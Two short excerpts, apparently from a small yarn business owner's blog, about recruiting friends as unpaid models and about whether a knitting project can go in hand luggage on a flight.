I have spent the last couple of weeks asking various friends to model for me. This feels very strange as it’s an odd question and some that some people are flattered by and others horrified! As you know Luxury Yarns is still just me, and I do not have the money...

Sept 17: Well, I started my Mulberino striped jumper for my son at the weekend, only to realise that we are going away tomorrow and are flying Easyjet and are only taking hand luggage… After checking various sources it appears that it would be too risky to take...
